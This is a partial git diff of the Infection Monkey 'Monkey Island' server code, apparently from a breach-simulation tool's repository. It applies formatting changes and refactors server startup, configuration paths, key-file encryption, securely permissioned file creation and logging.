+ result = telem["data"]["result"]
if result:
- return 'Monkey successfully exploited %s using the %s exploiter.' % (target, exploiter)
+ return "Monkey successfully exploited %s using the %s exploiter." % (target, exploiter)
else:
- return 'Monkey failed exploiting %s using the %s exploiter.' % (target, exploiter)
+ return "Monkey failed exploiting %s using the %s exploiter." % (target, exploiter)
@staticmethod
def get_scan_telem_brief(telem):
- return 'Monkey discovered machine %s.' % telem['data']['machine']['ip_addr']
+ return "Monkey discovered machine %s." % telem["data"]["machine"]["ip_addr"]
@staticmethod
def get_systeminfo_telem_brief(telem):
- return 'Monkey collected system information.'
+ return "Monkey collected system information."
@staticmethod
def get_trace_telem_brief(telem):
- return 'Trace: %s' % telem['data']['msg']
+ return "Trace: %s" % telem["data"]["msg"]
@staticmethod
def get_post_breach_telem_brief(telem):
- return '%s post breach action executed on %s (%s) machine.' % (telem['data'][0]['name'],
- telem['data'][0]['hostname'],
- telem['data'][0]['ip'])
+ return "%s post breach action executed on %s (%s) machine." % (
+ telem["data"][0]["name"],
+ telem["data"][0]["hostname"],
+ telem["data"][0]["ip"],
+ )
@staticmethod
def should_show_brief(telem):
- return telem['telem_category'] in TELEM_PROCESS_DICT
+ return telem["telem_category"] in TELEM_PROCESS_DICT
-TELEM_PROCESS_DICT = \
- {
- TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief,
- TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief,
- TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief,
- TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief,
- TelemCategoryEnum.SYSTEM_INFO: TelemetryFeed.get_systeminfo_telem_brief,
- TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief,
- TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief
- }
+TELEM_PROCESS_DICT = {
+ TelemCategoryEnum.TUNNEL: TelemetryFeed.get_tunnel_telem_brief,
+ TelemCategoryEnum.STATE: TelemetryFeed.get_state_telem_brief,
+ TelemCategoryEnum.EXPLOIT: TelemetryFeed.get_exploit_telem_brief,
+ TelemCategoryEnum.SCAN: TelemetryFeed.get_scan_telem_brief,
+ TelemCategoryEnum.SYSTEM_INFO: TelemetryFeed.get_systeminfo_telem_brief,
+ TelemCategoryEnum.TRACE: TelemetryFeed.get_trace_telem_brief,
+ TelemCategoryEnum.POST_BREACH: TelemetryFeed.get_post_breach_telem_brief,
+}
diff --git a/monkey/monkey_island/cc/resources/version_update.py b/monkey/monkey_island/cc/resources/version_update.py
index 4c2eca1e3..9346bfce4 100644
--- a/monkey/monkey_island/cc/resources/version_update.py
+++ b/monkey/monkey_island/cc/resources/version_update.py
@@ -5,8 +5,6 @@ import flask_restful
from common.version import get_version
from monkey_island.cc.services.version_update import VersionUpdateService
-__author__ = 'itay.mizeretz'
-
logger = logging.getLogger(__name__)
@@ -18,7 +16,7 @@ class VersionUpdate(flask_restful.Resource):
# even when not authenticated
def get(self):
return {
- 'current_version': get_version(),
- 'newer_version': VersionUpdateService.get_newer_version(),
- 'download_link': VersionUpdateService.get_download_link()
+ "current_version": get_version(),
+ "newer_version": VersionUpdateService.get_newer_version(),
+ "download_link": VersionUpdateService.get_download_link(),
}
diff --git a/monkey/monkey_island/cc/resources/zero_trust/finding_event.py b/monkey/monkey_island/cc/resources/zero_trust/finding_event.py
index ddef04b77..ce99390da 100644
--- a/monkey/monkey_island/cc/resources/zero_trust/finding_event.py
+++ b/monkey/monkey_island/cc/resources/zero_trust/finding_event.py
@@ -3,11 +3,16 @@ import json
import flask_restful
from monkey_island.cc.resources.auth.auth import jwt_required
-from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import MonkeyZTFindingService
+from monkey_island.cc.services.zero_trust.monkey_findings.monkey_zt_finding_service import (
+ MonkeyZTFindingService,
+)
class ZeroTrustFindingEvent(flask_restful.Resource):
-
@jwt_required
def get(self, finding_id: str):
- return {'events_json': json.dumps(MonkeyZTFindingService.get_events_by_finding(finding_id), default=str)}
+ return {
+ "events_json": json.dumps(
+ MonkeyZTFindingService.get_events_by_finding(finding_id), default=str
+ )
+ }
diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py
index 53e757f11..174e02843 100644
--- a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py
+++ b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/aws_keys.py
@@ -5,7 +5,6 @@ from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service imp
class AWSKeys(flask_restful.Resource):
-
@jwt_required
def get(self):
return get_aws_keys()
diff --git a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py
index dbed4dd51..5197b1972 100644
--- a/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py
+++ b/monkey/monkey_island/cc/resources/zero_trust/scoutsuite_auth/scoutsuite_auth.py
@@ -6,29 +6,32 @@ from flask import request
from common.cloud.scoutsuite_consts import CloudProviders
from common.utils.exceptions import InvalidAWSKeys
from monkey_island.cc.resources.auth.auth import jwt_required
-from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import (is_cloud_authentication_setup,
- set_aws_keys)
+from monkey_island.cc.services.zero_trust.scoutsuite.scoutsuite_auth_service import (
+ is_cloud_authentication_setup,
+ set_aws_keys,
+)
class ScoutSuiteAuth(flask_restful.Resource):
-
@jwt_required
def get(self, provider: CloudProviders):
if provider == CloudProviders.AWS.value:
is_setup, message = is_cloud_authentication_setup(provider)
- return {'is_setup': is_setup, 'message': message}
+ return {"is_setup": is_setup, "message": message}
else:
- return {'is_setup': False, 'message': ''}
+ return {"is_setup": False, "message": ""}
@jwt_required
def post(self, provider: CloudProviders):
key_info = json.loads(request.data)
- error_msg = ''
+ error_msg = ""
if provider == CloudProviders.AWS.value:
try:
- set_aws_keys(access_key_id=key_info['accessKeyId'],
- secret_access_key=key_info['secretAccessKey'],
- session_token=key_info['sessionToken'])
+ set_aws_keys(
+ access_key_id=key_info["accessKeyId"],
+ secret_access_key=key_info["secretAccessKey"],
+ session_token=key_info["sessionToken"],
+ )
except InvalidAWSKeys as e:
error_msg = str(e)
- return {'error_msg': error_msg}
+ return {"error_msg": error_msg}
diff --git a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py
index 433bf4631..8b3ce9419 100644
--- a/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py
+++ b/monkey/monkey_island/cc/resources/zero_trust/zero_trust_report.py
@@ -6,8 +6,12 @@ from flask import Response, jsonify
from monkey_island.cc.resources.auth.auth import jwt_required
from monkey_island.cc.services.zero_trust.zero_trust_report.finding_service import FindingService
from monkey_island.cc.services.zero_trust.zero_trust_report.pillar_service import PillarService
-from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import PrincipleService
-from monkey_island.cc.services.zero_trust.zero_trust_report.scoutsuite_raw_data_service import ScoutSuiteRawDataService
+from monkey_island.cc.services.zero_trust.zero_trust_report.principle_service import (
+ PrincipleService,
+)
+from monkey_island.cc.services.zero_trust.zero_trust_report.scoutsuite_raw_data_service import (
+ ScoutSuiteRawDataService,
+)
REPORT_DATA_PILLARS = "pillars"
REPORT_DATA_FINDINGS = "findings"
@@ -16,7 +20,6 @@ REPORT_DATA_SCOUTSUITE = "scoutsuite"
class ZeroTrustReport(flask_restful.Resource):
-
@jwt_required
def get(self, report_data=None):
if report_data == REPORT_DATA_PILLARS:
@@ -27,7 +30,8 @@ class ZeroTrustReport(flask_restful.Resource):
return jsonify(FindingService.get_all_findings_for_ui())
elif report_data == REPORT_DATA_SCOUTSUITE:
# Raw ScoutSuite data is already solved as json, no need to jsonify
- return Response(ScoutSuiteRawDataService.get_scoutsuite_data_json(),
- mimetype='application/json')
+ return Response(
+ ScoutSuiteRawDataService.get_scoutsuite_data_json(), mimetype="application/json"
+ )
flask_restful.abort(http.client.NOT_FOUND)
diff --git a/monkey/monkey_island/cc/server_config.json b/monkey/monkey_island/cc/server_config.json
new file mode 100644
index 000000000..5d8dc85aa
--- /dev/null
+++ b/monkey/monkey_island/cc/server_config.json
@@ -0,0 +1,10 @@
+{
+ "log_level": "DEBUG",
+ "environment": {
+ "server_config": "password",
+ "deployment": "develop"
+ },
+ "mongodb": {
+ "start_mongodb": true
+ }
+}
diff --git a/monkey/monkey_island/cc/server_config.json.default b/monkey/monkey_island/cc/server_config.json.default
deleted file mode 100644
index ecc4c1708..000000000
--- a/monkey/monkey_island/cc/server_config.json.default
+++ /dev/null
@@ -1,4 +0,0 @@
-{
- "server_config": "password",
- "deployment": "develop"
-}
diff --git a/monkey/monkey_island/cc/server_setup.py b/monkey/monkey_island/cc/server_setup.py
new file mode 100644
index 000000000..35879a1d4
--- /dev/null
+++ b/monkey/monkey_island/cc/server_setup.py
@@ -0,0 +1,189 @@
+import atexit
+import json
+import logging
+import sys
+from pathlib import Path
+from threading import Thread
+from typing import Tuple
+
+import gevent.hub
+from gevent.pywsgi import WSGIServer
+
+# Add the monkey_island directory to the path, to make sure imports that don't start with
+# "monkey_island." work.
+MONKEY_ISLAND_DIR_BASE_PATH = str(Path(__file__).parent.parent)
+if str(MONKEY_ISLAND_DIR_BASE_PATH) not in sys.path:
+ sys.path.insert(0, MONKEY_ISLAND_DIR_BASE_PATH)
+
+import monkey_island.cc.environment.environment_singleton as env_singleton # noqa: E402
+import monkey_island.cc.setup.config_setup as config_setup # noqa: E402
+from common.version import get_version # noqa: E402
+from monkey_island.cc.app import init_app # noqa: E402
+from monkey_island.cc.arg_parser import IslandCmdArgs # noqa: E402
+from monkey_island.cc.arg_parser import parse_cli_args # noqa: E402
+from monkey_island.cc.resources.monkey_download import MonkeyDownload # noqa: E402
+from monkey_island.cc.server_utils.bootloader_server import BootloaderHttpServer # noqa: E402
+from monkey_island.cc.server_utils.consts import ( # noqa: E402
+ GEVENT_EXCEPTION_LOG,
+ MONGO_CONNECTION_TIMEOUT,
+)
+from monkey_island.cc.server_utils.encryptor import initialize_encryptor # noqa: E402
+from monkey_island.cc.server_utils.island_logger import reset_logger, setup_logging # noqa: E402
+from monkey_island.cc.services.initialize import initialize_services # noqa: E402
+from monkey_island.cc.services.reporting.exporter_init import populate_exporter_list # noqa: E402
+from monkey_island.cc.services.utils.network_utils import local_ip_addresses # noqa: E402
+from monkey_island.cc.setup import island_config_options_validator # noqa: E402
+from monkey_island.cc.setup.gevent_hub_error_handler import GeventHubErrorHandler # noqa: E402
+from monkey_island.cc.setup.island_config_options import IslandConfigOptions # noqa: E402
+from monkey_island.cc.setup.mongo import mongo_setup # noqa: E402
+from monkey_island.cc.setup.mongo.database_initializer import init_collections # noqa: E402
+from monkey_island.cc.setup.mongo.mongo_db_process import MongoDbProcess # noqa: E402
+
+logger = logging.getLogger(__name__)
+
+
+def run_monkey_island():
+ island_args = parse_cli_args()
+ config_options, server_config_path = _setup_data_dir(island_args)
+
+ _exit_on_invalid_config_options(config_options)
+
+ _configure_logging(config_options)
+ _initialize_globals(config_options, server_config_path)
+
+ mongo_db_process = None
+ if config_options.start_mongodb:
+ mongo_db_process = _start_mongodb(config_options.data_dir)
+
+ _connect_to_mongodb(mongo_db_process)
+
+ _configure_gevent_exception_handling(Path(config_options.data_dir))
+ _start_island_server(island_args.setup_only, config_options)
+
+
+def _setup_data_dir(island_args: IslandCmdArgs) -> Tuple[IslandConfigOptions, str]:
+ try:
+ return config_setup.setup_data_dir(island_args)
+ except OSError as ex:
+ print(f"Error opening server config file: {ex}")
+ exit(1)
+ except json.JSONDecodeError as ex:
+ print(f"Error loading server config: {ex}")
+ exit(1)
+
+
+def _exit_on_invalid_config_options(config_options: IslandConfigOptions):
+ try:
+ island_config_options_validator.raise_on_invalid_options(config_options)
+ except Exception as ex:
+ print(f"Configuration error: {ex}")
+ exit(1)
+
+
+def _configure_logging(config_options):
+ reset_logger()
+ setup_logging(config_options.data_dir, config_options.log_level)
+
+
+def _initialize_globals(config_options: IslandConfigOptions, server_config_path: str):
+ env_singleton.initialize_from_file(server_config_path)
+
+ initialize_encryptor(config_options.data_dir)
+ initialize_services(config_options.data_dir)
+
+
+def _start_mongodb(data_dir: Path) -> MongoDbProcess:
+ mongo_db_process = mongo_setup.start_mongodb(data_dir)
+ mongo_setup.register_mongo_shutdown_callback(mongo_db_process)
+
+ return mongo_db_process
+
+
+def _connect_to_mongodb(mongo_db_process: MongoDbProcess):
+ try:
+ mongo_setup.connect_to_mongodb(MONGO_CONNECTION_TIMEOUT)
+ except mongo_setup.MongoDBTimeOutError as ex:
+ if mongo_db_process and not mongo_db_process.is_running():
+ logger.error(
+ f"Failed to start MongoDB process. Check log at {mongo_db_process.log_file}."
+ )
+ else:
+ logger.error(ex)
+ sys.exit(1)
+ except mongo_setup.MongoDBVersionError as ex:
+ logger.error(ex)
+ sys.exit(1)
+
+
+def _configure_gevent_exception_handling(data_dir):
+ hub = gevent.hub.get_hub()
+
+ gevent_exception_log = open(data_dir / GEVENT_EXCEPTION_LOG, "w+", buffering=1)
+ atexit.register(gevent_exception_log.close)
+
+ # Send gevent's exception output to a log file.
+ # https://www.gevent.org/api/gevent.hub.html#gevent.hub.Hub.exception_stream
+ hub.exception_stream = gevent_exception_log
+ hub.handle_error = GeventHubErrorHandler(hub, logger)
+
+
+def _start_island_server(should_setup_only, config_options: IslandConfigOptions):
+ populate_exporter_list()
+ app = init_app(mongo_setup.MONGO_URL)
+
+ init_collections()
+
+ if should_setup_only:
+ logger.warning("Setup only flag passed. Exiting.")
+ return
+
+ bootloader_server_thread = _start_bootloader_server()
+
+ logger.info(
+ f"Using certificate path: {config_options.crt_path}, and key path: "
+ f"{config_options.key_path}."
+ )
+
+ if env_singleton.env.is_debug():
+ app.run(
+ host="0.0.0.0",
+ debug=True,
+ ssl_context=(config_options.crt_path, config_options.key_path),
+ )
+ else:
+ http_server = WSGIServer(
+ ("0.0.0.0", env_singleton.env.get_island_port()),
+ app,
+ certfile=config_options.crt_path,
+ keyfile=config_options.key_path,
+ log=logger,
+ error_log=logger,
+ )
+ _log_init_info()
+ http_server.serve_forever()
+
+ bootloader_server_thread.join()
+
+
+def _start_bootloader_server() -> Thread:
+ bootloader_server_thread = Thread(target=BootloaderHttpServer().serve_forever, daemon=True)
+
+ bootloader_server_thread.start()
+
+ return bootloader_server_thread
+
+
+def _log_init_info():
+ logger.info("Monkey Island Server is running!")
+ logger.info(f"version: {get_version()}")
+ logger.info(
+ "Listening on the following URLs: {}".format(
+ ", ".join(
+ [
+ "https://{}:{}".format(x, env_singleton.env.get_island_port())
+ for x in local_ip_addresses()
+ ]
+ )
+ )
+ )
+ MonkeyDownload.log_executable_hashes()
diff --git a/monkey/monkey_island/cc/server_utils/bootloader_server.py b/monkey/monkey_island/cc/server_utils/bootloader_server.py
index fbbd32815..bfdd42cf2 100644
--- a/monkey/monkey_island/cc/server_utils/bootloader_server.py
+++ b/monkey/monkey_island/cc/server_utils/bootloader_server.py
@@ -3,7 +3,6 @@ from http.server import BaseHTTPRequestHandler, HTTPServer
from socketserver import ThreadingMixIn
from urllib import parse
-import pymongo
import requests
import urllib3
@@ -16,27 +15,25 @@ logger = logging.getLogger(__name__)
class BootloaderHttpServer(ThreadingMixIn, HTTPServer):
-
- def __init__(self, mongo_url):
- self.mongo_client = pymongo.MongoClient(mongo_url)
- server_address = ('', 5001)
+ def __init__(self):
+ server_address = ("", 5001)
super().__init__(server_address, BootloaderHTTPRequestHandler)
class BootloaderHTTPRequestHandler(BaseHTTPRequestHandler):
-
def do_POST(self):
- content_length = int(self.headers['Content-Length'])
+ content_length = int(self.headers["Content-Length"])
post_data = self.rfile.read(content_length).decode()
- island_server_path = BootloaderHTTPRequestHandler.get_bootloader_resource_url(self.request.getsockname()[0])
+ island_server_path = BootloaderHTTPRequestHandler.get_bootloader_resource_url(
+ self.request.getsockname()[0]
+ )
island_server_path = parse.urljoin(island_server_path, self.path[1:])
# The island server doesn't always have a correct SSL cert installed
# (By default it comes with a self signed one),
# that's why we're not verifying the cert in this request.
- r = requests.post(url=island_server_path,
- data=post_data,
- verify=False,
- timeout=SHORT_REQUEST_TIMEOUT) # noqa: DUO123
+ r = requests.post( # noqa: DUO123
+ url=island_server_path, data=post_data, verify=False, timeout=SHORT_REQUEST_TIMEOUT
+ )
try:
if r.status_code != 200:
diff --git a/monkey/monkey_island/cc/server_utils/consts.py b/monkey/monkey_island/cc/server_utils/consts.py
index c302f6fb7..30749cb3e 100644
--- a/monkey/monkey_island/cc/server_utils/consts.py
+++ b/monkey/monkey_island/cc/server_utils/consts.py
@@ -1,6 +1,53 @@
import os
+from pathlib import Path
-__author__ = 'itay.mizeretz'
+from common.utils.file_utils import expand_path
+from monkey_island.cc.server_utils.file_utils import is_windows_os
+
+
+def get_default_data_dir() -> str:
+ if is_windows_os():
+ return r"%AppData%\monkey_island"
+ else:
+ return r"$HOME/.monkey_island"
+
+
+# TODO: Figure out why windows requires the use of `os.getcwd()`. See issue #1207.
+def _get_monkey_island_abs_path() -> str:
+ if is_windows_os():
+ return os.path.join(os.getcwd(), "monkey_island")
+ else:
+ return str(Path(__file__).resolve().parent.parent.parent)
+
+
+SERVER_CONFIG_FILENAME = "server_config.json"
+
+MONKEY_ISLAND_ABS_PATH = _get_monkey_island_abs_path()
+
+DEFAULT_DATA_DIR = expand_path(get_default_data_dir())
-MONKEY_ISLAND_ABS_PATH = os.path.join(os.getcwd(), 'monkey_island')
DEFAULT_MONKEY_TTL_EXPIRY_DURATION_IN_SECONDS = 60 * 5
+
+_MONGO_BINARY_DIR = os.path.join(MONKEY_ISLAND_ABS_PATH, "bin", "mongodb")
+_MONGO_EXECUTABLE_PATH_WIN = os.path.join(_MONGO_BINARY_DIR, "mongod.exe")
+_MONGO_EXECUTABLE_PATH_LINUX = os.path.join(_MONGO_BINARY_DIR, "bin", "mongod")
+MONGO_EXECUTABLE_PATH = (
+ _MONGO_EXECUTABLE_PATH_WIN if is_windows_os() else _MONGO_EXECUTABLE_PATH_LINUX
+)
+MONGO_CONNECTION_TIMEOUT = 15
+
+DEFAULT_SERVER_CONFIG_PATH = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", SERVER_CONFIG_FILENAME))
+
+DEFAULT_LOG_LEVEL = "INFO"
+
+DEFAULT_START_MONGO_DB = True
+
+DEFAULT_CRT_PATH = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.crt"))
+DEFAULT_KEY_PATH = str(Path(MONKEY_ISLAND_ABS_PATH, "cc", "server.key"))
+
+DEFAULT_CERTIFICATE_PATHS = {
+ "ssl_certificate_file": DEFAULT_CRT_PATH,
+ "ssl_certificate_key_file": DEFAULT_KEY_PATH,
+}
+
+GEVENT_EXCEPTION_LOG = "gevent_exceptions.log"
diff --git a/monkey/monkey_island/cc/server_utils/custom_json_encoder.py b/monkey/monkey_island/cc/server_utils/custom_json_encoder.py
index 3c53586d1..0cc2036de 100644
--- a/monkey/monkey_island/cc/server_utils/custom_json_encoder.py
+++ b/monkey/monkey_island/cc/server_utils/custom_json_encoder.py
@@ -3,7 +3,6 @@ from flask.json import JSONEncoder
class CustomJSONEncoder(JSONEncoder):
-
def default(self, obj):
try:
if isinstance(obj, ObjectId):
diff --git a/monkey/monkey_island/cc/server_utils/encryptor.py b/monkey/monkey_island/cc/server_utils/encryptor.py
index cce7d464a..ab9bc617a 100644
--- a/monkey/monkey_island/cc/server_utils/encryptor.py
+++ b/monkey/monkey_island/cc/server_utils/encryptor.py
@@ -6,39 +6,39 @@ import os
from Crypto import Random # noqa: DUO133 # nosec: B413
from Crypto.Cipher import AES # noqa: DUO133 # nosec: B413
-from monkey_island.cc.server_utils.consts import MONKEY_ISLAND_ABS_PATH
+from monkey_island.cc.server_utils.file_utils import open_new_securely_permissioned_file
-__author__ = "itay.mizeretz"
+_encryptor = None
class Encryptor:
_BLOCK_SIZE = 32
- _DB_PASSWORD_FILENAME = os.path.join(MONKEY_ISLAND_ABS_PATH, 'cc/mongo_key.bin')
+ _PASSWORD_FILENAME = "mongo_key.bin"
- def __init__(self):
- self._load_key()
+ def __init__(self, password_file_dir):
+ password_file = os.path.join(password_file_dir, self._PASSWORD_FILENAME)
- def _init_key(self):
+ if os.path.exists(password_file):
+ self._load_existing_key(password_file)
+ else:
+ self._init_key(password_file)
+
+ def _init_key(self, password_file_path: str):
self._cipher_key = Random.new().read(self._BLOCK_SIZE)
- with open(self._DB_PASSWORD_FILENAME, 'wb') as f:
+ with open_new_securely_permissioned_file(password_file_path, "wb") as f:
f.write(self._cipher_key)
- def _load_existing_key(self):
- with open(self._DB_PASSWORD_FILENAME, 'rb') as f:
+ def _load_existing_key(self, password_file):
+ with open(password_file, "rb") as f:
self._cipher_key = f.read()
- def _load_key(self):
- if os.path.exists(self._DB_PASSWORD_FILENAME):
- self._load_existing_key()
- else:
- self._init_key()
-
def _pad(self, message):
return message + (self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)) * chr(
- self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE))
+ self._BLOCK_SIZE - (len(message) % self._BLOCK_SIZE)
+ )
def _unpad(self, message: str):
- return message[0:-ord(message[len(message) - 1])]
+ return message[0 : -ord(message[len(message) - 1])]
def enc(self, message: str):
cipher_iv = Random.new().read(AES.block_size)
@@ -47,9 +47,16 @@ class Encryptor:
def dec(self, enc_message):
enc_message = base64.b64decode(enc_message)
- cipher_iv = enc_message[0:AES.block_size]
+ cipher_iv = enc_message[0 : AES.block_size]
cipher = AES.new(self._cipher_key, AES.MODE_CBC, cipher_iv)
- return self._unpad(cipher.decrypt(enc_message[AES.block_size:]).decode())
+ return self._unpad(cipher.decrypt(enc_message[AES.block_size :]).decode())
-encryptor = Encryptor()
+def initialize_encryptor(password_file_dir):
+ global _encryptor
+
+ _encryptor = Encryptor(password_file_dir)
+
+
+def get_encryptor():
+ return _encryptor
diff --git a/monkey/monkey_island/cc/server_utils/file_utils.py b/monkey/monkey_island/cc/server_utils/file_utils.py
new file mode 100644
index 000000000..9013cd5f8
--- /dev/null
+++ b/monkey/monkey_island/cc/server_utils/file_utils.py
@@ -0,0 +1,118 @@
+import logging
+import os
+import platform
+import stat
+from contextlib import contextmanager
+from typing import Generator
+
+LOG = logging.getLogger(__name__)
+
+
+def is_windows_os() -> bool:
+ return platform.system() == "Windows"
+
+
+if is_windows_os():
+ import win32file
+ import win32job
+ import win32security
+
+ import monkey_island.cc.server_utils.windows_permissions as windows_permissions
+
+
+def create_secure_directory(path: str):
+ if not os.path.isdir(path):
+ if is_windows_os():
+ _create_secure_directory_windows(path)
+ else:
+ _create_secure_directory_linux(path)
+
+
+def _create_secure_directory_linux(path: str):
+ try:
+ # Don't split directory creation and permission setting
+ # because it will temporarily create an accessible directory which anyone can use.
+ os.mkdir(path, mode=stat.S_IRWXU)
+
+ except Exception as ex:
+ LOG.error(f'Could not create a directory at "{path}": {str(ex)}')
+ raise ex
+
+
+def _create_secure_directory_windows(path: str):
+ try:
+ security_attributes = win32security.SECURITY_ATTRIBUTES()
+ security_attributes.SECURITY_DESCRIPTOR = (
+ windows_permissions.get_security_descriptor_for_owner_only_perms()
+ )
+ win32file.CreateDirectory(path, security_attributes)
+
+ except Exception as ex:
+ LOG.error(f'Could not create a directory at "{path}": {str(ex)}')
+ raise ex
+
+
+@contextmanager
+def open_new_securely_permissioned_file(path: str, mode: str = "w") -> Generator:
+ if is_windows_os():
+ fd = _get_file_descriptor_for_new_secure_file_windows(path)
+ else:
+ fd = _get_file_descriptor_for_new_secure_file_linux(path)
+
+ with open(fd, mode) as f:
+ yield f
+
+
+def _get_file_descriptor_for_new_secure_file_linux(path: str) -> int:
+ try:
+ mode = stat.S_IRUSR | stat.S_IWUSR
+ flags = (
+ os.O_RDWR | os.O_CREAT | os.O_EXCL
+ ) # read/write, create new, throw error if file exists
+ fd = os.open(path, flags, mode)
+
+ return fd
+
+ except Exception as ex:
+ LOG.error(f'Could not create a file at "{path}": {str(ex)}')
+ raise ex
+
+
+def _get_file_descriptor_for_new_secure_file_windows(path: str) -> int:
+ try:
+ file_access = win32file.GENERIC_READ | win32file.GENERIC_WRITE
+
+ # Enables other processes to open this file with read-only access.
+ # Attempts by other processes to open the file for writing while this
+ # process still holds it open will fail.
+ file_sharing = win32file.FILE_SHARE_READ
+
+ security_attributes = win32security.SECURITY_ATTRIBUTES()
+ security_attributes.SECURITY_DESCRIPTOR = (
+ windows_permissions.get_security_descriptor_for_owner_only_perms()
+ )
+ file_creation = win32file.CREATE_NEW # fails if file exists
+ file_attributes = win32file.FILE_FLAG_BACKUP_SEMANTICS
+
+ handle = win32file.CreateFile(
+ path,
+ file_access,
+ file_sharing,
+ security_attributes,
+ file_creation,
+ file_attributes,
+ _get_null_value_for_win32(),
+ )
+
+ detached_handle = handle.Detach()
+
+ return win32file._open_osfhandle(detached_handle, os.O_RDWR)
+
+ except Exception as ex:
+ LOG.error(f'Could not create a file at "{path}": {str(ex)}')
+ raise ex
+
+
+def _get_null_value_for_win32():
+ # https://stackoverflow.com/questions/46800142/in-python-with-pywin32-win32job-the-createjobobject-function-how-do-i-pass-nu # noqa: E501
+ return win32job.CreateJobObject(None, "")
diff --git a/monkey/monkey_island/cc/server_utils/island_logger.py b/monkey/monkey_island/cc/server_utils/island_logger.py
index 2b4843876..06547d84d 100644
--- a/monkey/monkey_island/cc/server_utils/island_logger.py
+++ b/monkey/monkey_island/cc/server_utils/island_logger.py
@@ -1,25 +1,66 @@
-import json
-import logging.config
+import logging
+import logging.handlers
import os
+import sys
-__author__ = 'Maor.Rayzin'
+ISLAND_LOG_FILENAME = "monkey_island.log"
+LOG_FORMAT = (
+ "%(asctime)s - %(filename)s:%(lineno)s - %(funcName)10s() - %(levelname)s - %(message)s"
+)
+FILE_MAX_BYTES = 10485760
+FILE_BACKUP_COUNT = 20
+FILE_ENCODING = "utf8"
-def json_setup_logging(default_path='logging.json', default_level=logging.INFO, env_key='LOG_CFG'):
+def setup_logging(data_dir_path, log_level):
"""
Setup the logging configuration
- :param default_path: the default log configuration file path
- :param default_level: Default level to log from
- :param env_key: SYS ENV key to use for external configuration file path
+ :param data_dir_path: data directory file path
+ :param log_level: level to log from
:return:
"""
- path = default_path
- value = os.getenv(env_key, None)
- if value:
- path = value
- if os.path.exists(path):
- with open(path, 'rt') as f:
- config = json.load(f)
- logging.config.dictConfig(config)
- else:
- logging.basicConfig(level=default_level)
+ logger = logging.getLogger()
+ logger.setLevel(log_level.upper())
+
+ formatter = _get_log_formatter()
+
+ log_file_path = os.path.join(data_dir_path, ISLAND_LOG_FILENAME)
+ _add_file_handler(logger, formatter, log_file_path)
+
+ _add_console_handler(logger, formatter)
+
+
+def setup_default_failsafe_logging():
+ logger = logging.getLogger()
+ logger.setLevel(logging.DEBUG)
+
+ formatter = _get_log_formatter()
+
+ _add_console_handler(logger, formatter)
+
+
+def _get_log_formatter():
+ return logging.Formatter(LOG_FORMAT)
+
+
+def _add_file_handler(logger, formatter, file_path):
+ fh = logging.handlers.RotatingFileHandler(
+ file_path, maxBytes=FILE_MAX_BYTES, backupCount=FILE_BACKUP_COUNT, encoding=FILE_ENCODING
+ )
+ fh.setFormatter(formatter)
+
+ logger.addHandler(fh)
+
+
+def _add_console_handler(logger, formatter):
+ ch = logging.StreamHandler(stream=sys.stdout)
+ ch.setFormatter(formatter)
+
+ logger.addHandler(ch)
+
+
+def reset_logger():
+ logger = logging.getLogger()
+
+ for handler in logger.handlers:
+ logger.removeHandler(handler)
diff --git a/monkey/monkey_island/cc/server_utils/windows_permissions.py b/monkey/monkey_island/cc/server_utils/windows_permissions.py
new file mode 100644
index 000000000..0a5f6de8c
--- /dev/null
+++ b/monkey/monkey_island/cc/server_utils/windows_permissions.py
@@ -0,0 +1,37 @@
+import ntsecuritycon
+import win32api
+import win32con
+import win32security
+
+
+def get_security_descriptor_for_owner_only_perms():
+ user_sid = get_user_pySID_object()
+ security_descriptor = win32security.SECURITY_DESCRIPTOR()
+ dacl = win32security.ACL()
+
+ entries = [
+ {
+ "AccessMode": win32security.GRANT_ACCESS,
+ "AccessPermissions": ntsecuritycon.FILE_ALL_ACCESS,
+ "Inheritance": win32security.CONTAINER_INHERIT_ACE | win32security.OBJECT_INHERIT_ACE,
+ "Trustee": {
+ "TrusteeType": win32security.TRUSTEE_IS_USER,
+ "TrusteeForm": win32security.TRUSTEE_IS_SID,
+ "Identifier": user_sid,
+ },
+ }
+ ]
+ dacl.SetEntriesInAcl(entries)
+
+ security_descriptor.SetSecurityDescriptorDacl(1, dacl, 0)
+
+ return security_descriptor
+
+
+def get_user_pySID_object():
+ # get current user's name
+ username = win32api.GetUserNameEx(win32con.NameSamCompatible)
+ # pySID object for the current user
+ user, _, _ = win32security.LookupAccountName("", username)
+
+ return user
diff --git a/monkey/monkey_island/cc/services/__init__.py b/monkey/monkey_island/cc/services/__init__.py
index ee5b79ad0..e69de29bb 100644
--- a/monkey/monkey_island/cc/services/__init__.py
+++ b/monkey/monkey_island/cc/services/__init__.py
@@ -1 +0,0 @@
-__author__ = 'itay.mizeretz'
diff --git a/monkey/monkey_island/cc/services/attack/__init__.py b/monkey/monkey_island/cc/services/attack/__init__.py
index 98867ed4d..e69de29bb 100644
--- a/monkey/monkey_island/cc/services/attack/__init__.py
+++ b/monkey/monkey_island/cc/services/attack/__init__.py
@@ -1 +0,0 @@
